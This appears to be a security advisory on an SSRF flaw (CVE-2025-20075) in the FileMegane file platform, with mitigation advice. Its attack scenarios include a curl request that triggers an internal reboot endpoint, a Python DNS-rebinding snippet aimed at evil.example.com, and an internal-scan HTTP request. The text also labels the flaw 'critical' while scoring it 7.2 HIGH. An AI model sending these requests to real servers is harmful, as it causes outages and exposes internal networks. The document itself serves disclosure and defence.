Critical SSRF Vulnerability in FileMegane Leading to Service Disruption

Published Date: February 17, 2025 | Base Score: 7.2 HIGH

Overview

A critical Server-Side Request Forgery (SSRF) vulnerability (CVE-2025-20075) has been identified in FileMegane, a widely used file management platform. Affected versions include 3.0.0.0 through 3.3.9.9, enabling attackers to trigger unauthorized service reboots by exploiting insecure backend Web API requests. This flaw poses significant risks to system availability and integrity.

Technical Analysis

Vulnerability Type: SSRF (CWE-918)
Affected Component: The /api/fetch endpoint in FileMegane, designed to retrieve external files or URLs.
Root Cause: Insufficient validation of user-supplied URLs, allowing attackers to redirect requests to internal APIs, including the unauthenticated /internal/reboot endpoint.

The vulnerability arises when the application processes a malicious URL via the url parameter in /api/fetch. Attackers can craft requests to internal endpoints (e.g., http://127.0.0.1:8080/internal/reboot), forcing the server to execute unintended actions like service reboots.

Sample Attack Scenarios

Scenario 1: Direct Service Reboot via Internal API

Attack Setup: An attacker discovers the /api/fetch endpoint allows arbitrary URL fetching.

Crafting the Exploit:

curl -X POST 'http://victim-server/api/fetch' \
-H 'Content-Type: application/json' \
-d '{"url": "http://localhost:8080/internal/reboot"}'

Execution:
- FileMegane’s backend processes the request, sending a POST to the internal reboot API.
- The server initiates an immediate reboot, causing a 5-minute outage and disrupting user operations.

Scenario 2: DNS Rebinding to Bypass IP Validation

Attack Setup: The attacker registers a domain (evil.example.com) that alternates DNS resolution between a legitimate external IP and 127.0.0.1.

Exploit Chain:

import requests

# First request: Resolves to allowed external IP to bypass initial checks
response = requests.post(
    'http://victim-server/api/fetch',
    json={"url": "http://evil.example.com/internal/reboot"}
)

# DNS rebinding occurs; subsequent requests resolve to 127.0.0.1

Impact: The backend server accesses the reboot endpoint post-rebinding, leading to repeated service interruptions.

Scenario 3: Chaining SSRF with Network Scanning

Reconnaissance: The attacker uses FileMegane’s SSRF to scan internal ports:

POST /api/fetch HTTP/1.1
Host: victim-server
Content-Type: application/json

{"url": "http://192.168.1.1:8080/admin/status"}

Discovery: Identifies the reboot API at 192.168.1.1:8080/internal/reboot.
Exploitation: Sends a crafted request to reboot critical infrastructure, escalating the attack to a full data center outage.

Impact Analysis

Availability: Service reboots cause prolonged downtime, affecting business operations.
Data Loss: Abrupt restarts may corrupt unsaved data or interrupt transactions.
Lateral Movement: SSRF could expose internal systems, enabling further exploits.

Mitigation Strategies

Patch Immediately: Upgrade to FileMegane v3.4.0.0, which enforces strict URL validation and blocks internal IP ranges.
Input Sanitization:
- Reject URLs referencing localhost, private IPs, or reserved domains.
- Use allowlists for permissible domains.
Network Hardening:
- Segment internal APIs behind firewalls.
- Enforce authentication for sensitive endpoints.
Monitoring: Alert on abnormal internal request patterns (e.g., reboot API access).

Conclusion

CVE-2025-20075 underscores the dangers of SSRF vulnerabilities in modern applications. Organizations using FileMegane must prioritize patching and adopt defense-in-depth strategies to mitigate risks. Regular security audits and proactive input validation are critical to preventing similar exploits.

For ongoing updates, monitor FileMegane’s security advisories and the MITRE CVE database.

Article contributed by cyberhat.online, Cybersecurity Analyst.

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Critical SSRF Vulnerability in FileMegane Leading to Service Disruption